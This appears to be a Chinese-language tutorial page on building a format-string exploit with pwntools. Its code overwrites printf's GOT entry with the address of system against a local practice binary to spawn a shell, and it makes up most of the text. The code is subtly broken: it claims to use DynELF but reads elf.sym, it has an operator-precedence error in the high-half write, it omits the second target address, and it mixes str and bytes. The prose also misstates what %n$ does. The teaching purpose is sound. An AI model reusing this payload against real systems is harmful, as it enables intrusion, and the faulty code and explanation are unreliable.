字符串拼接实现pwn
时间: 2023-12-02 08:43:25 浏览: 177
字符串拼接在pwn中是非常常见的,可以用于构造payload,实现漏洞利用。下面是一个简单的例子,演示了如何使用字符串拼接实现pwn:
假设有一个程序存在格式化字符串漏洞,我们需要构造一个payload来执行system("/bin/sh")。首先,我们需要获取system函数的地址,可以使用pwntools中的DynELF模块来实现:
```python
from pwn import *
p = process("./vuln") # 启动程序
elf = ELF("./vuln") # 加载程序
# 获取system函数的地址
system_addr = elf.sym["system"]
```
接下来,我们需要构造payload。由于格式化字符串漏洞是通过将格式化字符串作为参数传递给函数来触发的,因此我们需要构造一个包含system函数地址的格式化字符串。具体来说,我们可以使用"%n$"来引用参数列表中的第n个参数,从而实现读取任意地址的数据。例如,"%12$n"表示将当前已经输出的字符数写入参数列表中的第12个参数所指向的地址中。
```python
# 构造payload
payload = p32(elf.got["printf"]) # 将printf的GOT地址作为第一个参数
payload += "%{}x%12$hn".format(system_addr & 0xffff) # 将system地址的低16位写入printf的GOT地址
payload += "%{}x%13$hn".format((system_addr >> 16) & 0xffff - (system_addr & 0xffff)) # 将system地址的高16位写入printf的GOT地址+2
```
最后,我们只需要将payload发送给程序即可:
```python
# 发送payload
p.sendline(payload)
p.interactive() # 进入交互模式,可以手动输入命令
```
阅读全文